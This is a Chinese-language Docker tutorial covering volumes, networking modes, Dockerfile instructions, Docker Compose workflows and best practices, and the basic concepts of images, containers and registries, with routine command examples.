`docker volume create 卷名称` 命令用于创建一个新的 Docker 卷（挂载卷）。卷是 Docker 中用于持久化数据的机制，它允许容器之间共享数据，并在容器删除后保留数据。

创建的挂载卷的位置取决于 Docker 的配置和操作系统。默认情况下，Docker 卷存储在以下位置：

* **Linux**：`/var/lib/docker/volumes/`
* **Windows**：`C:\ProgramData\Docker\volumes\`

`docker volume inspect` 命令可以查看卷的详细信息，包括其存储位置、创建时间、挂载点等。

在下次 `docker run` 命令中使用 `-v 卷名称:容器内路径` 参数来挂载这个卷。例如：

```bash
docker run -d -v my_volume_name:/data nginx

docker run -d -p 3000:80 -v nginx_html:/usr/share/nginx/html nginx
```

`sudo -i` 用于在 Linux 系统中以 root 用户身份运行命令。使用 `sudo -i` 可以获得一个交互式的 root shell，允许用户执行需要更高权限的操作。在使用 Docker 时，如果需要访问 Docker 的系统目录或执行特权操作，可能需要使用 `sudo -i` 切换到 root 用户。

**注意**：命名卷在第一次使用时 Docker 会把容器的文件同步到卷中进行一个初始化，但是绑定挂载不会进行初始化，绑定挂载会直接使用宿主机的文件内容。

`docker volume list` 命令用于列出所有 Docker 卷。这个命令可以帮助用户查看当前系统中存在的所有卷，包括它们的名称、驱动程序和挂载点等信息。

`docker volume rm 卷名称` 命令用于删除一个或多个 Docker 卷。这个命令可以帮助用户清理不再需要的卷，释放存储空间。

`docker volume prune` 命令用于删除所有未使用的 Docker 卷。这个命令可以帮助用户清理不再需要的卷，释放存储空间，可以加上 `-a` 参数来删除所有未使用的卷，不加 `-a` 参数只会删除那些没有被任何容器使用的卷。

加 `-a` 和不加的区别可以简单理解为：

* \*\*不加 \*\*​ **​`-a`​**：只会删除那些完全没有被任何容器使用的卷（即“孤立”的卷）。
* \*\*加 \*\*​ **​`-a`​**：会删除所有未被容器挂载的卷，无论这些卷是否曾经被容器使用过。这样可以更彻底地清理无用的卷。

一般情况下，建议先不加 `-a`，以免误删还可能需要的数据卷。

## 网络模式

Docker 网络默认是桥接模式（bridge），它允许容器之间通过虚拟网络进行通信。Docker 提供了多种网络模式，包括：

* **bridge**：默认的网络模式，容器通过虚拟网桥连接到宿主机的网络。
* **host**：容器直接使用宿主机的网络栈，不进行网络隔离。
* **none**：容器没有网络连接。
* **overlay**：用于跨多个 Docker 主机的网络连接，通常用于 Swarm 集群。

所有的容器都链接到这个默认的桥接网络上，每个容器内部都分配了一个虚拟 IP 地址。容器之间可以通过这个 IP 地址进行通信。

容器网络和宿主机的网络是隔离的，容器内部的 IP 地址和宿主机的 IP 地址是不同的。容器可以通过端口映射将其服务暴露到宿主机上，从而允许外部访问。

`docker network create` 命令用于创建一个新的 Docker 子网络。默认也是桥接模式的一种。

可以指定容器加入不同的子网络，以实现容器之间的隔离和通信。

同一个子网络中的容器可以通过容器名称或 IP 地址进行通信，跨子网络则不能。

子网络中的容器可以通过名称互相访问，而不需要使用内部 IP 地址。

```bash
docker network create network1
```

```bash
docker run -d --name container1 --network network1 nginx
```

`--network` 参数用于指定容器要加入的网络。

比如同一个子网络中，有两个容器 `container1` 和 `container2`，可以在 `container2` 中通过 ping 命令测试与 `container1` 的连接：

```bash
docker exec -it container2 ping container1
ping container1
```

Docker 子网络内部有一套 DNS 系统，可以通过容器名称进行解析。

`host` 网络模式允许容器直接使用宿主机的网络栈，不进行网络隔离。在这种模式下，容器将共享宿主机的 IP 地址和端口，在启动时候无需进行端口映射，因为容器的服务直接运行在宿主机的网络上。

在启动的时候使用 `--network host` 参数来指定容器使用宿主机网络模式。

```bash
docker run --network host nginx
```

启动后可以进入容器内查询 IP 地址：

```bash
docker exec -it container_id /bin/sh
apt update
apt install iproute2
ip addr show 
```

`docker network list` 命令用于列出当前 Docker 主机上所有的网络，包括默认的桥接网络和用户创建的自定义网络。

其中列出的以下种网络是不能删除的：

* `bridge`：默认的桥接网络。
* `host`：宿主机网络模式。
* `none`：无网络模式。

`docker network rm [network_name/ID]` 命令用于删除用户创建的自定义网络。

## 镜像构建(DockerFile)

docker file 是一个文本文件，包含了一系列的指令和参数，用于定义如何构建一个 Docker 镜像。Dockerfile 中的每一条指令都会创建一个新的镜像层，这些层会被组合在一起形成最终的镜像。

如果要将一个项目打包成 Docker 镜像，先在项目的根目录下创建一个名为 `Dockerfile` 的文件。这个文件将包含构建镜像所需的所有指令。

所有的 `Dockerfile` 文件的第一行都是 `FROM` 指令，用于指定基础镜像。基础镜像可以是一个操作系统镜像，也可以是一个已经存在的应用程序镜像。

```bash
FROM nginx:latest
```

`WORKDIR` 指令用于设置工作目录。所有后续的指令都会在这个目录下执行。如果目录不存在，Docker 会自动创建它。

```bash
WORKDIR app
```

`COPY` 指令用于将文件从宿主机复制到镜像中，可以指定源路径和目标路径。

`COPY 宿主机路径 镜像路径` 指令将宿主机上的文件或目录复制到镜像中的指定路径。

```bash
COPY . .
```

上述代码表示将宿主机当前目录下的所有文件和子目录复制到镜像中的工作目录 `app` 下。

`RUN` 指令用于在镜像构建过程中执行命令。可以使用 `RUN` 指令安装软件包、复制文件等。

```bash
RUN npm install --production
```

`EXPOSE` 指令用于指定容器运行时要暴露的端口。这个指令不会实际打开端口，但它会在镜像的元数据中记录下要暴露的端口。

```bash
EXPOSE 8090
```

实际使用还是以 `-p` 参数来进行端口映射。

`CMD` 指令用于指定容器启动时要执行的命令。这个指令只能出现一次，如果有多个 `CMD` 指令，只有最后一个会生效。

```bash
CMD ["npm", "run", "start"]
```

`ENTRYPOINT` 指令用于设置容器启动时的默认命令和参数。与 `CMD` 不同，`ENTRYPOINT` 指令指定的命令无法被 `docker run` 命令的参数覆盖，它的优先级更高。

```bash
ENTRYPOINT ["npm", "run", "start"]
```

最后就可以在终端执行

```bash
docker build -t [myAppName]:[myAppVersion] .
```

可以在项目的根目录中创建 `.dockerignore` 文件来指定在构建镜像时要忽略的文件和目录。这个文件的语法与 `.gitignore` 类似，可以使用通配符来匹配文件和目录。
例如，以下是一个 `.dockerignore` 文件的示例：

```bash
node_modules
.git
Dockerfile
.dockerignore
*.log
```

为了将镜像推送到 Docker Hub，先进行登录操作：

```bash
docker login    
```

推送到 Docker Hub 的镜像需要有一个唯一的名称。通常镜像名称的格式为 `用户名/镜像名:标签`，所以在打包的时候需要指定用户名。

```bash
docker build -t username/myapp:latest .
```

推送到 Docker Hub 的命令为：

```bash
docker push username/myapp:latest   
```

推送镜像到 Docker Hub 后，可以在任何地方使用 `docker pull username/myapp:latest` 命令来拉取这个镜像。

## 多容器编排(Docker Compose)

Docker compose 是一个用于定义和运行多容器 Docker 应用程序的工具。它使用 YAML 文件来配置应用程序的服务、网络和卷等。

它使用 `yaml` 文件来管理多个容器，其中配置了容器之间是如何相互连接的，以及它们的环境变量、端口映射等。

Docker 会为每一个 compose 文件创建一个独立的子网络，容器之间可以通过服务名称进行通信。

同一个 Compose 文件中的容器都会自动加入到同一个子网络中，这样它们可以通过服务名称进行互相访问。

Docker compose 还可以自定义启动顺序，确保某些服务在其他服务之前启动。

创建好 `docker-compose.yml` 文件后，可以使用以下命令来启动所有服务：

```bash
docker compose up -d
```

`up`: 子命令，用于根据 YAML 文件中的定义创建并启动所有服务。

`-d`: 代表 "detached" mode，即 **后台运行**。如果不加 `-d`，所有服务的日志都会在前台终端输出，退出终端可能会导致服务停止。

如果需要停止所有服务并且删除容器，可以使用以下命令：

```bash
docker compose down
```

如果只想停止服务而不删除容器，可以使用以下命令：

```bash
docker compose stop
```

使用 `docker compose start` 命令可以重新启动已停止的服务。

如果容器已经在运行了，再次执行 `docker compose up` 命令不会重新创建容器，而是会根据 `docker-compose.yml` 文件中的配置更新现有容器。

`docker compose up` 可以用于更新，但它的行为是“重新创建”容器，而不是“原地更新”容器。

当您对 `docker-compose.yml` 文件做了修改（例如：更新了镜像标签、改变了环境变量、映射了新的端口等），并在已经运行服务的目录下再次执行 `docker compose up -d` 时，会发生以下事情：

1. **构建/拉取新镜像**：如果配置有变更，Compose 会先根据配置拉取新的镜像或重新构建镜像。
2. **停止旧容器**：Compose 会 **停止** 当前正在运行的、与服务同名的旧容器。
3. **创建新容器**：Compose 会 **创建一个新的容器**，这个新容器应用了 `docker-compose.yml` 中的所有新配置。
4. **启动新容器**：新的容器被启动。
5. **移除旧容器**：默认情况下，旧的容器会被移除（除非使用了 `--no-recreate` 参数，但这样更新会不生效）。

所以，这个过程是 **“停止 -> 创建新的 -> 启动新的 -> 删除旧的”**，我们称之为 **“重新创建”**。

**用于更新的最佳实践命令**：为了确保更新过程干净、可靠，推荐在使用 `docker compose up` 时结合以下参数：

```bash
# 最佳实践：拉取最新镜像并重新创建容器
docker compose pull && docker compose up -d

# 或者，强制重新构建镜像并重新创建容器（如果使用 build: 选项）
docker compose up -d --build

# 最严格的更新：即使配置没变，也强制重新创建所有容器
docker compose up -d --force-recreate
```

对于非标准的 yaml 文件名，可以使用 `-f` 参数指定文件名：

```bash
docker compose -f custom-compose.yml up -d
```

在包含 `docker-compose.yml` 文件的目录下，您可以执行以下命令来管理整个应用的生命周期：

```bash
# 1. 启动所有服务（后台运行）
docker compose up -d

# 2. 查看服务运行状态
docker compose ps

# 3. 查看服务的实时日志（所有服务）
docker compose logs -f
# 查看特定服务的日志
docker compose logs -f webapp

# 4. 停止所有服务，但保留容器和数据
docker compose stop

# 5. 停止并移除所有容器、网络（但默认会保留数据卷）
docker compose down

# 6. 停止并移除所有容器、网络、数据卷（彻底清理）
docker compose down -v

# 7. 在运行中重启某个服务（例如，更新了代码后）
docker compose restart webapp
```

**文件名称**：默认情况下，`docker compose` 会寻找当前目录下名为 `docker-compose.yml` 的文件。如果您的文件是其他名称，需要使用 `-f` 参数指定：

```bash
docker compose -f my-compose-file.yml up -d
```

**项目名称**：默认情况下，Compose 会使用当前目录的名称作为 "项目名"，并为所有资源（容器、网络、卷）加上项目名前缀，从而隔离不同项目。您也可以使用 `-p` 参数自定义项目名：

```bash
docker compose -p my-project up -d
```

**构建镜像**：如果您的 `docker-compose.yml` 文件中包含 `build:` 指令（用于从 Dockerfile 构建镜像），`docker compose up -d` 会在启动服务前自动构建或重新构建镜像。

**经典“硬核”工作流：**

```bash
# 1. 核弹发射井开启(销毁一切)
docker compose down

# 2. 确保灰飞烟灭（加上 -v 删除所有匿名卷，--rmi all 甚至删除所有相关镜像）
docker compose down -v --rmi all

# 3. 在一片净土上重建世界
docker compose up -d
```

适用场景：

* **“我不管了” 场景**：各种端口冲突、网络问题、容器状态诡异，懒得一点点排查。
* **“从头来过” 场景**：`docker-compose.yml` 文件做了大量结构性修改，确保旧容器 100%会影响新配置。
* **“求个心安” 场景**：虽然可能有些小题大做，但这样操作一遍，心里特别踏实，知道环境绝对是干净的。
* **部署生产前**：在最终部署前，用一个绝对干净的环境测试整个编排流程。

**注意**：

**数据丢失警告**：如果您的 Compose 项目里定义了 **匿名卷**（在 `docker-compose.yml` 里只写了容器路径，没起名字），使用 `docker compose down -v` 会 **一并删除这些卷**，导致数据永久丢失。

* **安全做法**：如果卷里有重要数据（比如数据库内容），请确保在 `docker-compose.yml` 中使用了 **命名卷**，这样即使执行 `down -v`，再次 `up` 时命名卷的数据通常还在。

## 最佳实践

### 容器设计原则

#### 单一职责原则

每个容器应该只运行一个主要进程，保持容器的专注性和可维护性。

**反例**：

```bash
# 一个容器中同时运行Web服务器和数据库
docker run -d my-app-that-runs-nginx-and-mysql
```

**正例**：

```bash
# 使用多个容器，各司其职
docker run -d --name web nginx
docker run -d --name db mysql
docker run -d --name app my-python-app
```

#### 无状态设计

容器应该是无状态的，所有状态数据都应该外部化存储。

**实现方式**：

```bash
# 将状态数据存储在卷中
docker run -d \
  -v app-data:/var/lib/app/data \
  -v app-logs:/var/log/app \
  my-app
```

### 镜像构建最佳实践

#### 使用多阶段构建

减少最终镜像大小，提高安全性。

```dockerfile
# 第一阶段：构建环境
FROM node:16 AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

# 第二阶段：运行环境
FROM node:16-alpine
WORKDIR /app
COPY --from=builder /app/node_modules ./node_modules
COPY . .
USER node
EXPOSE 3000
CMD ["node", "server.js"]
```

#### 优化镜像层缓存

合理安排指令顺序，充分利用Docker的构建缓存。

```dockerfile
# 错误的顺序 - 每次代码变更都会导致依赖重新安装
COPY . .
RUN npm install

# 正确的顺序 - 依赖变更时才重新安装
COPY package*.json ./
RUN npm install
COPY . .
```

#### 使用特定版本标签

避免使用 `latest` 标签，确保构建的可重复性。

```dockerfile
# 不推荐
FROM ubuntu:latest

# 推荐
FROM ubuntu:20.04
```

### 安全最佳实践

#### 使用非root用户运行

```dockerfile
FROM node:16-alpine
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
USER nextjs
COPY --chown=nextjs:nodejs . .
CMD ["node", "server.js"]
```

#### 定期更新基础镜像

```dockerfile
# 定期检查并更新基础镜像版本
FROM ubuntu:20.04
# 而不是使用旧的、可能存在漏洞的版本
```

#### 扫描镜像漏洞

```bash
# 使用Docker Scout或类似工具扫描镜像
docker scout cves my-app:latest
```

### 资源配置最佳实践

#### 设置资源限制

防止单个容器消耗过多资源。

```yaml
# docker-compose.yml
services:
  web:
    image: nginx
    deploy:
      resources:
        limits:
          memory: 512M
          cpus: '1.0'
        reservations:
          memory: 256M
          cpus: '0.5'
```

#### 配置健康检查

```dockerfile
# 在Dockerfile中定义健康检查
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD curl -f http://localhost:3000/health || exit 1
```

```yaml
# 或在docker-compose.yml中定义
services:
  web:
    image: my-app
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 40s
```

### 网络最佳实践

#### 使用自定义网络

```yaml
# docker-compose.yml
version: '3.8'
services:
  frontend:
    image: nginx
    networks:
      - frontend-network

  backend:
    image: node:16
    networks:
      - frontend-network
      - backend-network

  database:
    image: postgres:13
    networks:
      - backend-network

networks:
  frontend-network:
    driver: bridge
  backend-network:
    driver: bridge
```

#### 避免使用主机网络

```yaml
# 不推荐 - 安全性差
services:
  web:
    network_mode: "host"

# 推荐 - 使用端口映射
services:
  web:
    ports:
      - "80:80"
```

### 数据管理最佳实践

#### 使用命名卷

```yaml
services:
  database:
    image: postgres:13
    volumes:
      - db-data:/var/lib/postgresql/data
      - ./backups:/backups  # 绑定挂载用于备份

volumes:
  db-data:
    driver: local
```

#### 定期备份重要数据

```bash
# 备份数据库卷
docker run --rm \
  -v db-data:/source \
  -v /host/backups:/backup \
  alpine tar czf /backup/db-$(date +%Y%m%d).tar.gz -C /source .
```

### 日志管理最佳实践

#### 配置日志轮转

```yaml
services:
  web:
    image: nginx
    logging:
      driver: "json-file"
      options:
        max-size: "10m"
        max-file: "3"
```

#### 使用结构化日志

```dockerfile
# 在应用中使用JSON格式日志
CMD ["node", "-r", "pino", "server.js"]
```

### 编排最佳实践

#### 使用环境变量文件

```yaml
# docker-compose.yml
services:
  web:
    image: my-app
    env_file:
      - .env
    environment:
      - NODE_ENV=production
```

#### 定义服务依赖关系

```yaml
services:
  web:
    image: nginx
    depends_on:
      database:
        condition: service_healthy
      backend:
        condition: service_started

  backend:
    image: node:16
    depends_on:
      database:
        condition: service_healthy

  database:
    image: postgres:13
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres"]
      interval: 5s
      timeout: 5s
      retries: 5
```

### 监控与维护

#### 设置监控和告警

```bash
# 使用cAdvisor监控容器资源使用
docker run \
  --volume=/:/rootfs:ro \
  --volume=/var/run:/var/run:ro \
  --volume=/sys:/sys:ro \
  --volume=/var/lib/docker/:/var/lib/docker:ro \
  --publish=8080:8080 \
  --detach=true \
  --name=cadvisor \
  gcr.io/cadvisor/cadvisor:v0.47.0
```

#### 定期清理无用资源

```bash
# 清理无用镜像、容器、卷和网络
docker system prune -f
docker volume prune -f
docker network prune -f

# 更激进的清理（谨慎使用）
docker system prune -a -f --volumes
```

### 开发环境最佳实践

#### 使用开发专用配置

```yaml
# docker-compose.dev.yml
services:
  web:
    build: .
    volumes:
      - .:/app  # 开发时挂载源代码
      - /app/node_modules  # 防止覆盖容器内的node_modules
    environment:
      - NODE_ENV=development
    ports:
      - "3000:3000"
```

#### 热重载配置

```yaml
services:
  web:
    build: .
    develop:
      watch:
        - action: sync
          path: ./
          target: /app
        - action: rebuild
          path: package.json
```

通过遵循这些最佳实践，您可以构建出更安全、更稳定、更易维护的Docker化应用。记住，Docker不仅仅是容器技术，更是一套完整的应用交付方法论。

---

---
url: /docker/cbgeo4xk/index.md
---
**Docker** 在容器的基础上，进行了进一步的封装，从文件系统、网络互联到进程隔离等等，极大的简化了容器的创建和维护。使得 `Docker` 技术比虚拟机技术更为轻便、快捷。

::: info

Docker 本身不是容器技术，它是容器技术的一个管理工具。

"在容器的基础上进行封装"这句话的意思是：

* 容器技术的底层：在 Linux 系统里，早就有了实现隔离的基础技术，比如 Namespace 和 Cgroups。这就像已经有了砖块、水泥这些盖房子的原材料。

* Docker 的封装：Docker 做的事情，就是把这些复杂的底层技术打包成一个简单好用的工具。它提供了标准化的镜像、一键启动、网络管理等功能。这就像用现成的材料，提供了一套可以快速盖好房子的"乐高积木"或"模板"。

所以，Docker 是让创建和管理容器变得极其简单的工具，而不是容器技术本身。

:::

传统虚拟机技术是虚拟出一套硬件后，在其上运行一个完整操作系统，在该系统上再运行所需应用进程；

而容器内的应用进程直接运行于宿主的内核，容器内没有自己的内核，而且也没有进行硬件虚拟。因此容器要比传统虚拟机更为轻便。

## 更高效的利用系统资源

由于容器不需要进行硬件虚拟以及运行完整操作系统等额外开销，`Docker` 对系统资源的利用率更高。无论是应用执行速度、内存损耗或者文件存储速度，都要比传统虚拟机技术更高效。因此，相比虚拟机技术，一个相同配置的主机，往往可以运行更多数量的应用。

## 更快速的启动时间

传统的虚拟机技术启动应用服务往往需要数分钟，而 `Docker` 容器应用，由于直接运行于宿主内核，无需启动完整的操作系统，因此可以做到秒级、甚至毫秒级的启动时间。大大的节约了开发、测试、部署的时间。

## 一致的运行环境

开发过程中一个常见的问题是环境一致性问题。由于开发环境、测试环境、生产环境不一致，导致有些 bug 并未在开发过程中被发现。而 `Docker` 的镜像提供了除内核外完整的运行时环境，确保了应用运行环境一致性，从而不会再出现  **这段代码在我机器上没问题啊**  这类问题。

## 持续交付和部署

对开发和运维（[DevOps ](https://zh.wikipedia.org/wiki/DevOps)）人员来说，最希望的就是一次创建或配置，可以在任意地方正常运行。

使用 `Docker` 可以通过定制应用镜像来实现持续集成、持续交付、部署。开发人员可以通过 Dockerfile 来进行镜像构建，并结合 [持续集成(Continuous Integration) ](https://zh.wikipedia.org/wiki/%E6%8C%81%E7%BA%8C%E6%95%B4%E5%90%88)系统进行集成测试，而运维人员则可以直接在生产环境中快速部署该镜像，甚至结合 [持续部署(Continuous Delivery/Deployment) ](https://zh.wikipedia.org/wiki/%E6%8C%81%E7%BA%8C%E4%BA%A4%E4%BB%98)系统进行自动部署。

而且使用 `Dockerfile` 使镜像构建透明化，不仅仅开发团队可以理解应用运行环境，也方便运维团队理解应用运行所需条件，帮助更好的生产环境中部署该镜像。

## 更轻松的迁移

由于 `Docker` 确保了执行环境的一致性，使得应用的迁移更加容易。`Docker` 可以在很多平台上运行，无论是物理机、虚拟机、公有云、私有云，甚至是笔记本，其运行结果是一致的。因此用户可以很轻易的将在一个平台上运行的应用，迁移到另一个平台上，而不用担心运行环境的变化导致应用无法正常运行的情况。

## 更轻松的维护和扩展

`Docker` 使用的分层存储以及镜像的技术，使得应用重复部分的复用更为容易，也使得应用的维护更新更加简单，基于基础镜像进一步扩展镜像也变得非常简单。此外，`Docker` 团队同各个开源项目团队一起维护了一大批高质量的 [官方镜像 ](https://hub.docker.com/search/?type=image\&image_filter=official)，既可以直接在生产环境使用，又可以作为基础进一步定制，大大的降低了应用服务的镜像制作成本。

## 对比传统虚拟机总结

| 特性       | 容器               | 虚拟机      |
| ---------- | ------------------ | ----------- |
| 启动       | 秒级               | 分钟级      |
| 硬盘使用   | 一般为 `MB`        | 一般为 `GB` |
| 性能       | 接近原生           | 弱于        |
| 系统支持量 | 单机支持上千个容器 | 一般几十个  |

## 基本概念

**Docker** 包括三个基本概念：**镜像**（`Image`），**容器**（`Container`），**仓库**（`Repository`），理解了这三个概念，就理解了 **Docker** 的整个生命周期。

## Docker 镜像

**镜像即根文件系统**：Docker 镜像本质上是一个轻量级的、独立的软件包，包含了运行一个应用所需的完整环境：程序、库、资源、配置以及参数（如环境变量）。它相当于一个 Linux 操作系统的 `root（根文件夹）` 文件系统。

**镜像是静态的**：镜像内容在构建完成后就不可更改，不包含任何动态数据。

**核心特性：分层存储**

* **目的**：为了解决镜像体积庞大的问题，借鉴了 Union FS 技术。
* **工作原理**：镜像由多个只读的层（Layer）叠加而成。构建时，每一层都是在前一层的基础上进行修改。每一层构建完成后就不会再改变。
* **关键优势**：
  * **空间效率与复用**：不同的镜像可以共享相同的基础层，节省存储空间和下载时间。
  * **可追溯性与缓存**：层的设计使得镜像的构建过程清晰，并且可以利用缓存加速构建。
* **重要注意事项**：在构建镜像的时候如果对文件进行了修改（如删除），事实上非真正删除底层数据，而是在当前层标记为删除，在分发使用的时候这个删除的文件（层）依旧占用空间。因此，在构建镜像时，应确保每一层只添加必要的内容，并及时清理临时文件，以避免镜像臃肿。

**简单来说，Docker 镜像是一个通过分层技术实现的、静态的、包含完整运行环境的文件系统，这种分层结构使其非常高效和灵活。**

## Docker 容器

**容器与镜像的关系**：容器是镜像的运行时实例。这种关系类似于面向对象编程中的**类和对象**。镜像是静态的、不可变的定义，而容器是动态的、可操作的实体。

**容器的本质**：容器的实质是一个**进程**，但是一个具有**隔离特性**的进程。它运行在独立的命名空间中，拥有自己的根文件系统、网络配置、进程空间和用户ID空间，从而与宿主机和其他容器隔离，提供了安全、独立的运行环境。

**容器的存储层**：

* 容器基于镜像的分层之上，创建一个临时的、可读写的**容器存储层**。
* 该存储层的生命周期与容器**完全一致**：容器被删除，存储层中的数据也会丢失。

**数据持久化的最佳实践**：

* **核心原则**：容器存储层应保持**无状态化**，不应向其写入需要持久化的数据。
* **正确方法**：必须使用**数据卷** 或**绑定宿主目录**来实现数据持久化。
* **优势**：这些方式的数据读写直接作用于宿主（或网络存储），性能更好、稳定性更高，并且生命周期独立于容器，容器删除后数据依然存在。

**简单来说，Docker 容器是镜像的运行实例，是一个隔离的进程。为了实现数据持久化，必须遵循最佳实践，使用数据卷而非容器内部的临时存储层。**

## Docker Registry

* **Registry**：一个镜像仓库服务，其中可以管理多个**仓库**。
* **Repository**：一个**仓库**对应一个项目或软件（如 `ubuntu`），其中存放了该软件的不同版本。
* **Tag**：**标签**用于区分同一仓库中的不同版本（如 `18.04`, `latest`）。完整的镜像地址格式为 `<仓库名>:<标签>`。

**Registry 的两种主要类型**：

1. **公开服务**
   * **功能**：提供公共的镜像存储和分发。用户可以免费上传、下载公开镜像。
   * **代表**：
     * [Docker Hub](https://hub.docker.com/)：默认的官方仓库，拥有大量高质量官方镜像。
     * **其他**：[Quay.io](https://quay.io/repository/)、[GitHub Container Registry (ghcr.io)](https://docs.github.com/cn/packages/working-with-a-github-packages-registry/working-with-the-container-registry)， [Google Container Registry](https://cloud.google.com/container-registry/) 等。
   * **国内特色**：由于网络原因，国内用户常使用**加速器**（如阿里云、DaoCloud加速器）或国内的公有仓库（如网易云、阿里云镜像库）来提升下载速度。
2. **私有服务**
   * **功能**：用户在本地或私有云环境下搭建，用于存储和分发内部使用的私有镜像。
   * **搭建方式**：
     * [Docker Registry](https://hub.docker.com/_/registry/)：官方提供的基础镜像，仅包含核心API服务，无图形界面。
     * **第三方软件**：如 [Harbor](https://github.com/goharbor/harbor) 和 [Nexus](https://hub.docker.com/r/sonatype/nexus)，提供图形界面、用户管理、安全扫描等高级功能

**一句话总结：Docker Registry 是镜像的“应用商店”，公开服务如同官方应用市场，而私有服务则如同企业内部私有的应用市场，用于安全地管理自有应用。**

## 使用 Docker 镜像

Docker 运行容器前需要本地存在对应的镜像，如果本地不存在该镜像，Docker 会从镜像仓库下载该镜像。

### 获取镜像

从 Docker 镜像仓库获取镜像的命令是 `docker pull`。其命令格式为：

```bash
docker pull [选项] [Docker Registry 地址[:端口号]/]仓库名[:标签]
```

具体的选项可以通过 `docker pull --help` 命令看到

```bash
docker pull --platform linux/arm64 ubuntu:20.04
```

`--platform` 后面可以指定：

操作系统/架构，例如：

* `linux/amd64` → x86\_64 架构
* `linux/arm64` → ARM 64 位架构
* `linux/arm/v7` → ARM 32 位架构

`ubuntu:20.04` → 要拉取的镜像

```bash
docker manifest inspect ubuntu:20.04
```

会列出镜像支持的 **所有平台和架构**

**Docker 镜像仓库地址**：地址的格式一般是 `<域名/IP>[:端口号]`。默认地址是 Docker Hub `docker.io `。

**仓库名**：如之前所说，这里的仓库名是两段式名称，即 `<用户名>/<软件名>`。如果不给出用户名，则默认为 `library`，也就是官方镜像。

```bash
$ docker pull mysql:8.0
8.0: Pulling from library/mysql
a803e7c4b030: Pull complete 
c3c8d5a7b6da: Pull complete 
2b9f5f4d0fdb: Pull complete 
5b93ad8d3a0e: Pull complete 
a03e6b85c0e6: Pull complete 
f07fa83e6c38: Pull complete 
e6f8c35cb7d9: Pull complete 
e6691f90c1d9: Pull complete 
4e5bdf37d774: Pull complete 
a1a0e7c2f2c1: Pull complete 
8b0f6a7dae38: Pull complete 
Digest: sha256:eb9c7e6fae0e7c90e3f66a7b2b4d1e2f3b4b5d6c7a8b9a0c1d2e3f4a5b6c7d8
Status: Downloaded newer image for mysql:8.0
docker.io/library/mysql:8.0
```

**命令解析**

* `docker pull mysql:8.0`：拉取官方 `mysql` 镜像的 `8.0` 标签版本。
* **仓库地址**：未指定地址，默认从 **Docker Hub** 下载。
* **完整镜像名**：输出最后一行显示为 `docker.io/library/mysql:8.0`，这验证了它来自 Docker Hub 的官方 `library` 仓库。

**核心特性：分层存储的直观体现**

* 输出中显示了多行 `Pull complete`，每一行代表镜像的一个**层**被成功下载。
* MySQL 镜像比 Ubuntu 镜像更复杂，因此层数也更多（本例中有11层）。这印证了镜像是由多个只读层联合组成的。

**安全与一致性：数字摘要**

* `Digest: sha256:eb9c7****c7d8`
* 这是镜像内容的**唯一、安全的哈希值**。只要镜像内容不变，这个摘要就不会变。它可以用来精确验证你拉取的镜像是否与官方发布的镜像完全一致，防止镜像被篡改。

**镜像的维护与更新**

* 如果你在不同时间拉取同一个标签（如 `mysql:8.0`）的镜像，看到的层ID和摘要**可能会不同**。
* 这是因为维护者会更新镜像（例如，打上安全补丁），然后用相同的标签重新发布。这确保了用户总能获取到该版本最新、最安全的镜像。

通过 `docker pull mysql:8.0` 的命令输出，我们清晰地看到了 **Docker 镜像从默认的 Docker Hub 仓库被分层下载的过程，并通过唯一的数字摘要来保证内容的一致性和安全性**，这是镜像工作机制的完美演示。

### 运行镜像

```bash
docker run -d --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -p 3306:3306 mysql:8.0
# c710212735c9d64b6d18bd0b26f6bfeae78db0f52df22d8a3764b46d2d6c6f33
```

**命令解析：**

* **docker run**：核心命令，用于创建并启动一个新容器。
* **-d**：以**分离模式** 运行容器，即让容器在后台运行。这是运行服务器类应用（如数据库、Web服务器）的标准方式。
* **--name some-mysql**：为容器指定一个自定义名称 `some-mysql`，便于后续管理（如启动、停止、查看日志），否则Docker会随机生成一个名字。
* **-e MYSQL\_ROOT\_PASSWORD=my-secret-pw**：**-e 参数用于设置环境变量**。这是 MySQL 镜像的强制要求，通过它来设置 `root` 用户的密码。这是配置容器化应用的核心方式。
* **-p 3306:3306**：**端口映射**。将宿主机的 `3306` 端口映射到容器内部的 `3306` 端口。这样，你才能通过宿主机IP和端口访问容器内运行的MySQL服务。
* **mysql:8.0**：指定使用的镜像名称和标签。
* 长串哈希值：命令执行后返回的是容器的唯一ID，表示容器已成功在后台启动。

***

```bash
docker run -it --rm ubuntu:18.04 bash
```

* **-it**：这是两个参数的组合，用于获取一个**交互式终端**。
  * `-i`：保持标准输入打开，允许你与容器交互。
  * `-t`：分配一个伪终端，让你像在真实服务器上一样操作。
* **--rm**：一个非常实用的参数。表示**容器退出后自动删除**。这适合临时性的测试任务，避免留下大量停止的容器占用磁盘空间。
* **ubuntu:18.04**：指定用于创建容器的**基础镜像**。
* **bash**：在容器启动后要执行的**命令**，这里表示启动一个 Bash shell。

**进入容器**：命令执行后，会切换到容器内部的 Shell 提示符（如 `root@e7009c6ce357:/#`）。

**执行命令**：在容器内可以执行任何命令，例如 `cat /etc/os-release`，确认了容器内运行的是 Ubuntu 18.04 系统。

**退出容器**：使用 `exit` 命令退出 Bash shell，容器随之停止。由于使用了 `--rm` 参数，该容器也会被自动删除。

`docker run -it --rm` 是一个经典的测试命令组合，它能让你快速进入一个临时容器进行操作，退出后容器自动清理，非常方便快捷。

| 命令              | 作用               | 是否创建新容器 | 使用场景                                       |
| ----------------- | ------------------ | -------------- | ---------------------------------------------- |
| `docker run -it`  | 启动容器并进入交互 | 是             | 想从镜像新建并进入一个容器时                   |
| `docker exec -it` | 在容器里执行命令   | 否             | 容器已存在并在运行时，想进去看看、调试、跑命令 |

### 列出镜像

```bash
docker image ls
# docker images（快捷方式）
```

```bash
REPOSITORY           TAG                 IMAGE ID            CREATED             SIZE
```

列表包含了 `仓库名`、`标签`、`镜像 ID`、`创建时间` 以及 `所占用的空间`。

**Docker Hub 上的大小**：显示的是 **压缩后的镜像体积**（网络传输大小），用于下载或上传时参考。

**`docker image ls` 显示的大小**：显示 **本地展开后的镜像各层占用的总空间**，更准确地反映磁盘占用。

**镜像实际占用空间**：

Docker 镜像是 **多层结构（layered）**，可以复用相同的基础层。

多个镜像共享相同层时，每层只保存一次。

